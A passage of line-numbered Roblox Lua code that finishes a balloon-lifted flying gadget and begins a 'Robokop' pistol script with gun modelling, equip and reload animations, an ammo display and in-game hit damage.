  3439. hwld2.C1 = CFrame.new(-.25, 0, 0) * CFrame.Angles(math.pi/2, 0, 0)
  3440. hwld2.C0 = CFrame.new(0, -1 - .4, 0)
  3441. hndl2.Mesh.Scale = Vector3.new(1, .5, .5)
  3442. local hndl3 = hndl:clone()
  3443. hndl3.Parent = modelforparts
  3444. hndl3.Size = Vector3.new(.2, .4, .2)
  3445. local hwld3 = Instance.new("Weld", hndl3)
  3446. hwld3.Part0 = hndl3
  3447. hwld3.Part1 = part
  3448. hwld3.C1 = CFrame.new(-.6, 0, 0) * CFrame.Angles(math.pi/2, 0, 0)
  3449. hwld3.C0 = CFrame.new(0, -.82 - .4, 0)
  3450. --balloon ropes
  3451. local blnrope = part:clone()
  3452. blnrope.Parent = modelforparts
  3453. blnrope.Size = Vector3.new(.2, 3.8, .2)
  3454. blnrope.BrickColor = BrickColor.new(1)
  3455. blnrope.Mesh:Destroy()
  3456. local blnwld = Instance.new("Weld", blnrope)
  3457. blnwld.Part0 = blnrope
  3458. blnwld.Part1 = airblowercyl
  3459. blnwld.C1 = CFrame.new(0, 0, 0) * CFrame.Angles(math.pi/2, math.pi/7, -math.pi/8)
  3460. blnwld.C0 = CFrame.new(0, -2, 0)
  3461. Instance.new("BlockMesh", blnrope).Scale = Vector3.new(.2, 1, .2)
  3462. local blnrope2 = blnrope:clone()
  3463. blnrope2.Parent = modelforparts
  3464. blnrope2.Size = Vector3.new(.2, 4, .2)
  3465. local blnwld2 = Instance.new("Weld", blnrope2)
  3466. blnwld2.Part0 = blnrope2
  3467. blnwld2.Part1 = airblowercyl
  3468. blnwld2.C1 = CFrame.new(0, 0, 0) * CFrame.Angles(math.pi/2, math.pi/4, -math.pi/74)
  3469. blnwld2.C0 = CFrame.new(0, -2.2, 0)
  3470. local blnrope3 = blnrope:clone()
  3471. blnrope3.Parent = modelforparts
  3472. local blnwld3 = Instance.new("Weld", blnrope3)
  3473. blnwld3.Part0 = blnrope3
  3474. blnwld3.Part1 = airblowercyl
  3475. blnwld3.C0 = CFrame.new(0, -2, 0)
  3476.  
  3477.  
  3478. --Stored balloon rope welds
  3479. blnwldC1 = blnwld.C1
  3480. blnwld2C1 = blnwld2.C1
  3481. blnwld3C1 = blnwld3.C1
  3482. --balloons
  3483. local bln = part:clone()
  3484. bln.Parent = modelforparts
  3485. bln.Size = Vector3.new(1.65, 1.8, 1.65)
  3486. bln.BrickColor = BrickColor.new(119)
  3487. bln.Mesh:Destroy()
  3488. bln.Transparency = .1
  3489. local balnwld = Instance.new("Weld", bln)
  3490. balnwld.Part0 = bln
  3491. balnwld.Part1 = blnrope
  3492. balnwld.C1 = CFrame.new(0, 0, 0)
  3493. balnwld.C0 = CFrame.new(0, -2.6, 0)
  3494. Instance.new("SpecialMesh", bln).MeshType = "Sphere"
  3495. local bln2 = bln:clone()
  3496. bln2.Parent = modelforparts
  3497. bln2.BrickColor = BrickColor.new(23)
  3498. local balnwld2 = Instance.new("Weld", bln2)
  3499. balnwld2.Part0 = bln2
  3500. balnwld2.Part1 = blnrope2
  3501. balnwld2.C1 = CFrame.new(0, 0, 0)
  3502. balnwld2.C0 = CFrame.new(0, -2.8, 0)
  3503. local bln3 = bln:clone()
  3504. bln3.Parent = modelforparts
  3505. bln3.BrickColor = BrickColor.new(21)
  3506. local balnwld3 = Instance.new("Weld", bln3)
  3507. balnwld3.Part0 = bln3
  3508. balnwld3.Part1 = blnrope3
  3509. balnwld3.C0 = CFrame.new(0, -2.6, 0)
  3510.  
  3511. --Controls
  3512. bg.Parent = rootpart
  3513. bv.Parent = rootpart
  3514. forwards = false
  3515. backwards = false
  3516. mouse.KeyDown:connect(function(k)
  3517. if k == "w" then
  3518. forwards = true
  3519. coroutine.wrap(function()
  3520. while forwards do wait()
  3521. if SPEED >= MAXSPEED then SPEED = MAXSPEED forwards = false break end
  3522. sound.Volume = sound.Volume + .05
  3523. if sound.Volume >= .5 then sound.Volume = .5 end
  3524. SPEED = SPEED + 5
  3525. end
  3526. end)()
  3527. end
  3528. end)
  3529. mouse.KeyUp:connect(function(k)
  3530. if k == "w" then
  3531. forwards = false
  3532. coroutine.wrap(function()
  3533. while SPEED >= 0 do wait()
  3534. sound.Volume = sound.Volume - .05
  3535. if sound.Volume <= 0.25 then sound.Volume = 0.25 end
  3536. SPEED = SPEED - 5
  3537. if forward then break end
  3538. if SPEED <= 0 then SPEED = 0 break end
  3539. end
  3540. end)()
  3541. end
  3542. end)
  3543. --BALLONS MOOOOVEEE :DDD
  3544. game:service'RunService'.RenderStepped:connect(function()
  3545. if not equipped then return end
  3546. blnwldC1 = CFrame.new(0, 0, 0) * CFrame.Angles(math.pi/2 - math.rad(SPEED/1.7) + math.sin(ANGLE)*.025, math.pi/7 + math.sin(ANGLE)*.105, -math.pi/8 - math.sin(ANGLE)*.018)
  3547. blnwld2C1 = CFrame.new(0, 0, 0) * CFrame.Angles(math.pi/2 - math.rad(SPEED/1.7) + math.sin(ANGLE)*.015, math.pi/4 - math.sin(ANGLE)*.065, -math.pi/74 + math.sin(ANGLE)*.021)
  3548. blnwld3C1 = CFrame.new(0, 0, 0) * CFrame.Angles(math.pi/2 - math.rad(SPEED/1.7) - math.sin(ANGLE)*.02, math.pi/16 - math.sin(ANGLE)*.125, math.pi/9 - math.sin(ANGLE)*.078)
  3549. blnwld.C1 = clerp(blnwld.C1, blnwldC1, 0.05)
  3550. blnwld2.C1 = clerp(blnwld2.C1, blnwld2C1, 0.05)
  3551. blnwld3.C1 = clerp(blnwld3.C1, blnwld3C1, 0.05)
  3552. end)
  3553.  
  3554. --positioning welds
  3555. lm.C0 = CFrame.new(-1.25, .05, -.5) * CFrame.Angles(math.rad(35), 0, math.rad(45))
  3556. rm.C0 = CFrame.new(1.25, .05, -.5) * CFrame.Angles(math.rad(35), 0, -math.rad(45))
  3557. llegm.C0 = CFrame.new(-0.5, -1, 0) * CFrame.Angles(0, 0, -math.rad(15))
  3558. rlegm.C0 = CFrame.new(0.5, -1, 0) * CFrame.Angles(0, 0, math.rad(15))
  3559.  
  3560.  
  3561.  
  3562. game:service'RunService'.RenderStepped:connect(function()
  3563. for i,v in pairs(torso:children()) do if v and v:IsA'BodyGyro' then v:Destroy() end end
  3564. ANGLE = (ANGLE % 360) + math.random(1, 10)/100
  3565. humanoid.PlatformStand = true
  3566. local rotpos = Vector3.new(camera.CoordinateFrame.x, camera.CoordinateFrame.y, camera.CoordinateFrame.z)
  3567. bg.cframe = CFrame.new(torso.Position,rotpos) * CFrame.Angles(0, math.pi, 0)
  3568. bv.velocity = (torso.CFrame * CFrame.Angles(math.pi/14, 0, 0)).lookVector * SPEED
  3569. end)
  3570. ]==]
  3571.  
  3572. Pistol = [==[
  3573. local player=game.Players.LocalPlayer
  3574. local char=player.Character
  3575. repeat wait() until player and char
  3576. local torso=char.Torso
  3577. local head=char.Head
  3578. local human=char.Humanoid
  3579. local arm={Left=char["Left Arm"], Right=char["Right Arm"]}
  3580. local leg={Left=char["Left Leg"], Right=char["Right Leg"]}
  3581. local joints={LeftShoulder=torso["Left Shoulder"], RightShoulder=torso["Right Shoulder"], LeftHip=torso["Left Hip"], RightHip=torso["Right Hip"]}
  3582. joints.LeftShoulder.Part0=torso
  3583. joints.RightShoulder.Part0=torso
  3584. joints.LeftHip.Part0=torso
  3585. joints.RightHip.Part0=torso
  3586. local c=function(f) Spawn(f) end
  3587. local p=function(f) pcall(f) end
  3588. local add={
  3589. Part=function(par, a, c, col, t, s, cf, ms)
  3590. local p=Instance.new("Part", par) pcall(function() p.TopSurface="Smooth" p.BottomSurface="Smooth" p.formFactor="Custom" p.Anchored=a p.CanCollide=c p.BrickColor=BrickColor.new(col) p.Transparency=t p.Size=s p.CFrame=cf or CFrame.new() end)
  3591. local m=Instance.new("BlockMesh", p) pcall(function() m.Scale=ms or Vector3.new(1, 1, 1) end)
  3592. return p
  3593. end,
  3594. Wedge=function(par, a, c, col, t, s, cf, ms)
  3595. local p=Instance.new("WedgePart", par) pcall(function() p.TopSurface="Smooth" p.BottomSurface="Smooth" p.formFactor="Custom" p.Anchored=a p.CanCollide=c p.BrickColor=BrickColor.new(col) p.Transparency=t p.Size=s p.CFrame=cf or CFrame.new() end)
  3596. local m=Instance.new("SpecialMesh", p) pcall(function() m.Scale=ms or Vector3.new(1, 1, 1) m.MeshType="Wedge" end)
  3597. return p
  3598. end,
  3599. Gui=function(ins, par, bc, bg, tc, fs, text, t, s, pos)
  3600. local g=Instance.new(ins, par) pcall(function() g.BorderColor=BrickColor.new(bc) g.BackgroundColor=BrickColor.new(bg) g.TextColor=BrickColor.new(tc) g.FontSize=fs g.Font="ArialBold" g.Text=text g.Transparency=t g.Size=s g.Position=pos end)
  3601. return g
  3602. end,
  3603. Weld=function(par, p1, cf)
  3604. local w=Instance.new("Weld", par) pcall(function() w.Part0=w.Parent or par w.Part1=p1 w.C1=cf or CFrame.new() end)
  3605. return w
  3606. end,
  3607. Mesh=function(ins, par, s, of, t, id)
  3608. local m=Instance.new(ins, par) pcall(function() m.Scale=s or Vector3.new() m.Offset=of or Vector3.new() m.MeshId=id or "" m.MeshType=t end)
  3609. return m
  3610. end,
  3611. Sound=function(parent, id, volume, pitch)
  3612. local s=Instance.new("Sound", parent) pcall(function() s.SoundId=id s.Volume=volume s.Pitch=pitch end)
  3613. return s
  3614. end,
  3615. }
  3616. local scriptname="Robokop" --Name here
  3617. pcall(function() char[scriptname]:remove() char["Objects"]:remove() end)
  3618. local model=Instance.new("Model", char) model.Name="Objects"
  3619. local modelB=Instance.new("Model", char) modelB.Name=scriptname
  3620. local skincolor="Really black"
  3621. local color="Dark stone grey"
  3622. local color2="Black"
  3623. local gui
  3624. local body={}
  3625. local animate={}
  3626. local obj={}
  3627. --Variables--
  3628. local trailDeb=false
  3629. local keyDeb=false
  3630. local equip=false
  3631. local hitDeb=false
  3632. local loop=false
  3633. local speed=20
  3634. local clip=6
  3635. local ammo=200
  3636. local Gun=add.Sound(torso, "http://www.roblox.com/asset/?id=2691586", .5, 1)
  3637. local Reload=add.Sound(torso, "http://www.roblox.com/asset/?id=2760984", .5, 1)
  3638. local HeadShot=add.Sound(torso, "http://www.roblox.com/asset/?id=1876552", 1, 1)
  3639. local mouse=player:GetMouse()
  3640. body.Torso=add.Part(modelB, false, false, skincolor, 1, Vector3.new(2, 2, 1), nil)
  3641. body.TorsoW=add.Weld(body.Torso, torso, nil)
  3642. --==Pocket==--
  3643. obj.Pocket=add.Part(modelB, false, false, color, 0, Vector3.new(.5, .5, 1))
  3644. obj.PocketW=add.Weld(obj.Pocket, body.Torso, CFrame.new(1.2, -1.7, 0))
  3645. obj.Wedge=add.Wedge(modelB, false, false, color, 0, Vector3.new(.5, .5, 1))
  3646. obj.WedgeW=add.Weld(obj.Wedge, obj.Pocket, CFrame.new(0, .5, 0)*CFrame.Angles(0, math.pi, 0))
  3647. --==GUN==--
  3648. obj.Handle=add.Part(modelB, false,false, color, 0, Vector3.new(.2, .5, .2))
  3649. obj.HandleW=add.Weld(obj.Handle, obj.Pocket, CFrame.new(0, .75, 0)*CFrame.Angles(-math.rad(105), 0, 0))
  3650. obj.Base=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .2, 1), nil, Vector3.new(1, .5, 1))
  3651. obj.BaseW=add.Weld(obj.Base, obj.Handle, CFrame.new(0, .2, -.1)*CFrame.Angles(math.rad(15), 0, 0))
  3652. obj.B2=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .2, 1), nil, Vector3.new(.8, .35, 1))
  3653. obj.B2W=add.Weld(obj.B2, obj.Base, CFrame.new(0, .015, -.2))
  3654. obj.W2=add.Wedge(modelB, false, false, color, 0, Vector3.new(.2, .2, .2))
  3655. obj.W2W=add.Weld(obj.W2, obj.Base, CFrame.new(0, -.15, .3)*CFrame.Angles(math.pi, 0, 0))
  3656. obj.W3=add.Wedge(modelB, false, false, color, 0, Vector3.new(.2, .2, .2), nil, Vector3.new(1, .2, .95))
  3657. obj.W3W=add.Weld(obj.W3, obj.Base, CFrame.new(0, -.05, .4)*CFrame.Angles(math.pi, math.pi, 0))
  3658. obj.P=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .5, .2))
  3659. obj.PM=add.Mesh("CylinderMesh", obj.P, Vector3.new(1, 1, 1))
  3660. obj.PW=add.Weld(obj.P, obj.Handle, CFrame.new(0, 0, .1))
  3661. obj.P=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .5, .2))
  3662. obj.PM=add.Mesh("CylinderMesh", obj.P, Vector3.new(1, 1, 1))
  3663. obj.PW=add.Weld(obj.P, obj.Handle, CFrame.new(0, 0, -.1))
  3664. obj.B3=add.Part(modelB, false, false, color, 0, Vector3.new(.2, 1.2, .2))
  3665. obj.B3M=add.Mesh("CylinderMesh", obj.B3, Vector3.new(.3, 1, .3))
  3666. obj.B3W=add.Weld(obj.B3, obj.B2, CFrame.new(0, 0.02, 0)*CFrame.Angles(math.pi/2, 0, 0))
  3667. obj.P=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .2, .2))
  3668. obj.PM=add.Mesh("SpecialMesh", obj.P, Vector3.new(.3, .3, .3), nil, "Sphere")
  3669. obj.PW=add.Weld(obj.P, obj.B3, CFrame.new(0, -.6, 0))
  3670. obj.Barrel=add.Part(modelB, false, false, color, 0, Vector3.new(.2, 1.2, .2))
  3671. obj.BarrelM=add.Mesh("CylinderMesh", obj.Barrel, Vector3.new(.5, 1, .5))
  3672. obj.BarrelW=add.Weld(obj.Barrel, obj.B2, CFrame.new(0, 0.1, 0)*CFrame.Angles(math.pi/2, 0, 0))
  3673. obj.Point=add.Part(modelB, false, false, color2, 0, Vector3.new(.2, .2, .2))
  3674. obj.PointM=add.Mesh("CylinderMesh", obj.Point, Vector3.new(.5, .2, .5))
  3675. obj.PointW=add.Weld(obj.Point, obj.Barrel, CFrame.new(0, -0.6, 0))
  3676.  
  3677. obj.Reload=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .2, 1.3), nil, Vector3.new(1, .8, 1))
  3678. obj.ReloadW=add.Weld(obj.Reload, obj.Base, CFrame.new(0, .1, -.15))
  3679. obj.P=add.Part(modelB, false, false, color, 0, Vector3.new(.2, 1.3, .2))
  3680. obj.PM=add.Mesh("CylinderMesh", obj.P, Vector3.new(.5, 1, .5))
  3681. obj.PW=add.Weld(obj.P, obj.Reload, CFrame.new(0, -.07, 0)*CFrame.Angles(math.pi/2, 0, 0))
  3682.  
  3683. obj.P=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .2, .4), nil, Vector3.new(.2, .2, .2))
  3684. obj.PW=add.Weld(obj.P, obj.Reload, CFrame.new(0, .1, -.52))
  3685. obj.W=add.Wedge(modelB, false, false, color, 0, Vector3.new(.2, .2, .4), nil, Vector3.new(.2, .2, .2))
  3686. obj.WW=add.Weld(obj.W, obj.Reload, CFrame.new(0, .1, -.6))
  3687. obj.P=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .2, .4), nil, Vector3.new(.2, .2, .2))
  3688. obj.PW=add.Weld(obj.P, obj.Reload, CFrame.new(-.05, .1, .5))
  3689. obj.W=add.Wedge(modelB, false, false, color, 0, Vector3.new(.2, .2, .4), nil, Vector3.new(.2, .2, .2))
  3690. obj.WW=add.Weld(obj.W, obj.P, CFrame.new(0, 0, -.08))
  3691. obj.W=add.Wedge(modelB, false, false, color, 0, Vector3.new(.2, .2, .4), nil, Vector3.new(.2, .2, .2))
  3692. obj.WW=add.Weld(obj.W, obj.P, CFrame.new(0, 0, .08)*CFrame.Angles(0, math.pi, 0))
  3693.  
  3694. obj.P=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .2, .4), nil, Vector3.new(.2, .2, .2))
  3695. obj.PW=add.Weld(obj.P, obj.Reload, CFrame.new(.05, .1, .5))
  3696. obj.W=add.Wedge(modelB, false, false, color, 0, Vector3.new(.2, .2, .4), nil, Vector3.new(.2, .2, .2))
  3697. obj.WW=add.Weld(obj.W, obj.P, CFrame.new(0, 0, -.08))
  3698. obj.W=add.Wedge(modelB, false, false, color, 0, Vector3.new(.2, .2, .4), nil, Vector3.new(.2, .2, .2))
  3699. obj.WW=add.Weld(obj.W, obj.P, CFrame.new(0, 0, .08)*CFrame.Angles(0, math.pi, 0))
  3700.  
  3701. obj.C=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .4, .2))
  3702. obj.CM=add.Mesh("CylinderMesh", obj.C, Vector3.new(.4, 1, .4))
  3703. obj.CW=add.Weld(obj.C, obj.Handle, CFrame.new(0, 0, -.2)*CFrame.Angles(math.rad(105), 0, 0))
  3704. obj.C2=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .2, .2))
  3705. obj.C2M=add.Mesh("CylinderMesh", obj.C2, Vector3.new(.4, 1, .4))
  3706. obj.C2W=add.Weld(obj.C2, obj.C, CFrame.new(0, -.2, -.09)*CFrame.Angles(-math.rad(105), 0, 0))
  3707.  
  3708. obj.Trigger=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .2, .2), nil, Vector3.new(.2, .5, .2))
  3709. obj.TriggerW=add.Weld(obj.Trigger, obj.B2, CFrame.new(0, -.1, 0.1)*CFrame.Angles(math.rad(15), 0, 0))
  3710. obj.Trigger2=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .2, .2), nil, Vector3.new(.2, .2, .4))
  3711. obj.Trigger2W=add.Weld(obj.Trigger2, obj.Trigger, CFrame.new(0, -.05, -.02)*CFrame.Angles(-math.rad(15), 0, 0))
  3712.  
  3713. obj.C=add.Part(modelB, false, false, color2, 0, Vector3.new(.2, .2, .2))
  3714. obj.CM=add.Mesh("CylinderMesh", obj.C, Vector3.new(.4, 1.1, .4))
  3715. obj.CW=add.Weld(obj.C, obj.Handle, CFrame.new(0, .1, -.1)*CFrame.Angles(0, 0, math.pi/2))
  3716.  
  3717. obj.P=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .2, 1.2), nil, Vector3.new(.5, .5, 1))
  3718. obj.PW=add.Weld(obj.P, obj.Reload, CFrame.new(-.06, 0, 0))
  3719.  
  3720. obj.P=add.Part(modelB, false, false, color, 0, Vector3.new(.2, .2, 1.2), nil, Vector3.new(.5, .5, 1))
  3721. obj.PW=add.Weld(obj.P, obj.Reload, CFrame.new(.06, 0, 0))
  3722.  
  3723. obj.W=add.Wedge(modelB, false, false, color, 0, Vector3.new(.2, .2, .2), nil, Vector3.new(.5, .35, .4))
  3724. obj.WW=add.Weld(obj.W, obj.Reload, CFrame.new(0, .035, .68)*CFrame.Angles(0, math.pi, 0))
  3725. obj.W=add.Wedge(modelB, false, false, color, 0, Vector3.new(.2, .2, .2), nil, Vector3.new(.5, .35, .4))
  3726. obj.WW=add.Weld(obj.W, obj.Reload, CFrame.new(0, -.035, .68)*CFrame.Angles(math.pi, 0, 0))
  3727. function createParts()
  3728. torso.Transparency=1
  3729. body.Torso.Transparency=0
  3730. gui=Instance.new("ScreenGui", player.PlayerGui) gui.Name=scriptname
  3731. --==PARTS==--
  3732. body.Head=add.Part(model, false, false, skincolor, 1, Vector3.new(1, 1, 1), nil)
  3733. body.ArmLeft, body.ArmRight=add.Part(model, false, false, skincolor, 1, Vector3.new(1, 1, 1), nil), add.Part(model, false, false, skincolor, 1, Vector3.new(1, 1, 1), nil)
  3734. body.LegLeft, body.LegRight=add.Part(model, false, false, skincolor, 1, Vector3.new(1, 1, 1), nil), add.Part(model, false, false, skincolor, 1, Vector3.new(1, 1, 1), nil)
  3735. --==WELDS==--
  3736. body.HeadW=add.Weld(body.Head, body.Torso, CFrame.new(0, 1.5, 0))
  3737. body.ArmLeftW, body.ArmRightW=add.Weld(body.ArmLeft, body.Torso, CFrame.new(-1.5, .5, 0)), add.Weld(body.ArmRight, body.Torso, CFrame.new(1.5, .5, 0))
  3738. body.LegLeftW, body.LegRightW=add.Weld(body.LegLeft, body.Torso, CFrame.new(-.5, -1.5, 0)), add.Weld(body.LegRight, body.Torso, CFrame.new(.5, -1.5, 0))
  3739. --==WELDS==--
  3740. --add.Weld(body.Head, head, nil)
  3741. add.Weld(arm.Left, body.ArmLeft, CFrame.new(0, -.5, 0))
  3742. add.Weld(arm.Right, body.ArmRight, CFrame.new(0, -.5, 0))
  3743. joints.LeftHip.Part0=body.Torso
  3744. joints.RightHip.Part0=body.Torso
  3745. ---------------------------------------------------------------------------------------
  3746. animate={
  3747. ["Head"]=function(cf)
  3748. body.HeadW.C1=CFrame.new(0, 1.5, 0)*cf
  3749. end;
  3750. ["Torso"]=function(cf)
  3751. body.TorsoW.C1=cf
  3752. end;
  3753. ["ArmLeft"]=function(cf)
  3754. body.ArmLeftW.C1=CFrame.new(-1.5, .5, 0)*cf
  3755. end;
  3756. ["ArmRight"]=function(cf)
  3757. body.ArmRightW.C1=CFrame.new(1.5, .5, 0)*cf
  3758. end;
  3759. ["LegLeft"]=function(cf)
  3760. legLeftW=add.Weld(leg.Left, body.LegLeft, CFrame.new(0, -.5, 0))
  3761. body.LegLeftW.C1=CFrame.new(-.5, -1.5, 0)*cf
  3762. c(function()
  3763. wait()
  3764. legLeftW:remove()
  3765. end)
  3766. end;
  3767. ["LegRight"]=function(cf)
  3768. legRightW=add.Weld(leg.Right, body.LegRight, CFrame.new(0, -.5, 0))
  3769. body.LegRightW.C1=CFrame.new(.5, -1.5, 0)*cf
  3770. c(function()
  3771. wait()
  3772. legRightW:remove()
  3773. end)
  3774. end;
  3775. }
  3776. --==Objects==--
  3777. obj.Clip=add.Gui("TextLabel", gui, "Really black", "Really black", "White", "Size18", clip.."/6", 0, UDim2.new(0, 150, 0, 50), UDim2.new(0, 0, 0, 150))
  3778. obj.Ammo=add.Gui("TextLabel", obj.Clip, "Really black", "Really black", "White", "Size18", ammo.."/200", 0, UDim2.new(1, 0, 1, 0), UDim2.new(0, 0, 1, 0))
  3779. end
  3780. function removeParts()
  3781. p(function()
  3782. body.Torso.Transparency=1
  3783. if torso then
  3784. joints.LeftShoulder.Part0=torso
  3785. joints.RightShoulder.Part0=torso
  3786. joints.LeftHip.Part0=torso
  3787. joints.RightHip.Part0=torso
  3788. end
  3789. player.PlayerGui[scriptname]:remove()
  3790. for i, v in pairs(model:children()) do v:remove() end
  3791. for i, v in pairs(char:children()) do v.Transparency=0 end
  3792. torso.Transparency=0
  3793. end)
  3794. end
  3795. function hit(h)
  3796. if h.Parent:findFirstChild("Humanoid") and hitDeb==false and h.Parent~=char then
  3797. hitDeb=true
  3798. local hHuman=h.Parent:findFirstChild("Humanoid")
  3799. local hTorso=h.Parent:findFirstChild("Torso")
  3800. local dmg=math.random(5, 15)
  3801. if h.Name=="Head" then local headshot=HeadShot:clone() headshot.Parent=h headshot:play()
  3802. h.Parent:BreakJoints()
  3803. local fakeM=Instance.new("Model", workspace) fakeM.Name="HeadShot!"
  3804. local fakeH=Instance.new("Humanoid", fakeM) fakeH.MaxHealth=0 fakeH.Health=0
  3805. local effect=add.Part(fakeM, true, false, "Bright red", 0, Vector3.new(1, 1, 1), h.CFrame*CFrame.new(0, 4, 0)) effect.Name="Head"
  3806. local fakeMesh=add.Mesh("CylinderMesh", effect, Vector3.new(1, .5, 1), nil, nil)
  3807. game.Debris:addItem(fakeM, 2)
  3808. else
  3809. hHuman.Health=hHuman.Health-dmg
  3810. local fakeM=Instance.new("Model", workspace) fakeM.Name=-dmg
  3811. local fakeH=Instance.new("Humanoid", fakeM) fakeH.MaxHealth=0 fakeH.Health=0
  3812. local effect=add.Part(fakeM, true, false, "Bright red", 0, Vector3.new(1, 1, 1), h.CFrame*CFrame.new(0, 4, 0)) effect.Name="Head"
  3813. local fakeMesh=add.Mesh("CylinderMesh", effect, Vector3.new(1, .5, 1), nil, nil)
  3814. hTorso.RotVelocity=Vector3.new(math.random(-100, 100), math.random(-100, 100), math.random(-100, 100))
  3815. game.Debris:addItem(fakeM, 2)
  3816. local effect=add.Part(workspace, true, false, "White", .5, Vector3.new(1, 1, 1), CFrame.new(h.CFrame.p, torso.CFrame.p)*CFrame.Angles(-math.pi/2, 0, 0))
  3817. local effectM=add.Mesh("SpecialMesh", effect, Vector3.new(1, 1, 1), nil, nil, "http://www.roblox.com/asset/?id=20329976")
  3818. c(function()
  3819. for i=1, 2, .2 do wait()
  3820. effectM.Scale=Vector3.new(i, i/2, i)
  3821. end
  3822. effect:remove()
  3823. end)
  3824. end
  3825. wait(.1)
  3826. hitDeb=false
  3827. end
  3828. end
  3829. function computePos(pos, pos2)
  3830. local pos3=Vector3.new(pos2.x, pos.y, pos2.z)
  3831. return CFrame.new(pos, pos3)
  3832. end
  3833. function trail(pos, cf)
  3834. c(function()
  3835. local old=(pos.CFrame*cf).p
  3836. while trailDeb==true do
  3837. wait()
  3838. local new=(pos.CFrame*cf).p
  3839. local mag=(old-new).magnitude
  3840. local dis=(old+new)/2
  3841. local trail=add.Part(workspace, true, false, "White", 0, Vector3.new(.5, mag, .5), CFrame.new(dis, new)*CFrame.Angles(math.pi/2, 0, 0)) trail.Name="Trail"
  3842. local tMesh=add.Mesh("CylinderMesh", trail, Vector3.new(.5, 1, .5), nil, nil)
  3843. old=new
  3844. c(function()
  3845. for i=1, 0, -.25 do
  3846. wait()
  3847. tMesh.Scale=tMesh.Scale*Vector3.new(i, 1, i)
  3848. end
  3849. trail:remove()
  3850. end)
  3851. c(function()
  3852. for i=0, 1, .25 do
  3853. wait()
  3854. trail.Transparency=i
  3855. end
  3856. end)
  3857. end
  3858. end)
  3859. end
  3860. function reload()
  3861. Reload:play()
  3862. for i=0, 1, .1 do wait()
  3863. animate.Torso(CFrame.Angles(0, math.rad(90-90*i), 0))
  3864. animate.ArmLeft(CFrame.new(.5*i, 0, -.5*i)*CFrame.Angles(math.rad(90)*i, 0, math.rad(25)*i))
  3865. animate.ArmRight(CFrame.new(-.5*i, 0, -.5*i)*CFrame.Angles(math.rad(90), 0, math.rad(90-135*i)))
  3866. end
  3867. for i=0, 1, .1 do wait()
  3868. obj.ReloadW.C1=CFrame.new(0, .1, -.15+.4*i)
  3869. animate.ArmLeft(CFrame.new(.5, 0, -.5)*CFrame.Angles(math.rad(90), 0, math.rad(25+20*i)))
  3870. end
  3871. c(function()
  3872. for i=1, 10 do wait()
  3873. local clips=add.Part(workspace, false, true, "Bright yellow", 0,Vector3.new(.2, .2, .4), obj.Handle.CFrame*CFrame.new(0, -.2, 0), Vector3.new(.5, .5, 1))
  3874. c(function()
  3875. wait(2)
  3876. for i=0, 1, .1 do wait()
  3877. clips.Transparency=i
  3878. end
  3879. clips:remove()
  3880. end)
  3881. end
  3882. end)
  3883. for i=1, 0, -.1 do wait()
  3884. obj.ReloadW.C1=CFrame.new(0, .1, -.15+.4*i)
  3885. animate.ArmLeft(CFrame.new(.5, 0, -.5)*CFrame.Angles(math.rad(90), 0, math.rad(25+20*i)))
  3886. end
  3887. for i=1, 0, -.1 do wait()
  3888. animate.Torso(CFrame.Angles(0, math.rad(90-90*i), 0))
  3889. animate.ArmLeft(CFrame.new(.5*i, 0, -.5*i)*CFrame.Angles(math.rad(90)*i, 0, math.rad(25)*i))
  3890. animate.ArmRight(CFrame.new(-.5*i, 0, -.5*i)*CFrame.Angles(math.rad(90), 0, math.rad(90-135*i)))
  3891. end
  3892. animate.ArmLeft(CFrame.Angles(-math.rad(15), 0, -math.rad(15)))
  3893. if ammo>0 then
  3894. local take=6-clip
  3895. ammo=ammo-take
  3896. clip=clip+take
  3897. end
  3898. end
  3899. mouse.KeyDown:connect(function(key) local key=key:lower()
  3900. local bg=Instance.new("BodyGyro") bg.maxTorque=Vector3.new(math.huge, math.huge, math.huge) bg.D=500
  3901. if key=="q" and keyDeb==false and equip==false then
  3902. keyDeb=true equip=true
  3903. mouse.Icon="http://www.roblox.com/asset/?id=35649261"
  3904. createParts()
  3905. obj.HandleW.Part1=arm.Right
  3906. obj.HandleW.C1=CFrame.new(0, -1.2, 0)*CFrame.Angles(-math.rad(105), 0, 0)
  3907. for i=0, 1, .1 do wait()
  3908. animate.ArmRight(CFrame.new(0, .5*i, 0)*CFrame.Angles(0, 0, -math.rad(10)*i))
  3909. end
  3910. for i=0, 1, .1 do wait()
  3911. animate.Torso(CFrame.Angles(0, math.rad(90)*i, 0))
  3912. animate.ArmLeft(CFrame.Angles(-math.rad(15)*i, 0, -math.rad(15)*i))
  3913. animate.ArmRight(CFrame.new(0, .5-.5*i, 0)*CFrame.Angles(math.rad(90)*i, 0, math.rad(90)*i))
  3914. end
  3915. bg.Parent=torso
  3916. keyDeb=false
  3917. elseif key=="q" and keyDeb==false and equip==true then
  3918. keyDeb=true equip=false
  3919. mouse.Icon=""
  3920. for i=1, 0, -.1 do wait()
  3921. animate.ArmRight(CFrame.new(0, .5-.5*i, 0)*CFrame.Angles(math.rad(90)*i, 0, math.rad(90)*i))
  3922. end
  3923. for i=1, 0, -.1 do wait()
  3924. animate.Torso(CFrame.Angles(0, math.rad(90)*i, 0))
  3925. animate.ArmLeft(CFrame.Angles(-math.rad(15)*i, 0, -math.rad(15)*i))
  3926. animate.ArmRight(CFrame.new(0, .5*i, 0)*CFrame.Angles(0, 0, -math.rad(10)*i))
  3927. end
  3928. removeParts() for i, v in pairs(torso:children()) do if v:isA("BodyGyro") then v:remove() end end
  3929. obj.HandleW.Part1=obj.Pocket
  3930. obj.HandleW.C1=CFrame.new(0, .75, 0)*CFrame.Angles(-math.rad(105), 0, 0)
  3931. keyDeb=false
  3932. end
  3933. if key=="r" and keyDeb==false and equip==true then
  3934. keyDeb=true
  3935. reload()
  3936. keyDeb=false
  3937. end
  3938. while equip==true do wait()
  3939. body.HeadW.C1=CFrame.new(Vector3.new(0, 1.5, 0), mouse.Hit.p)
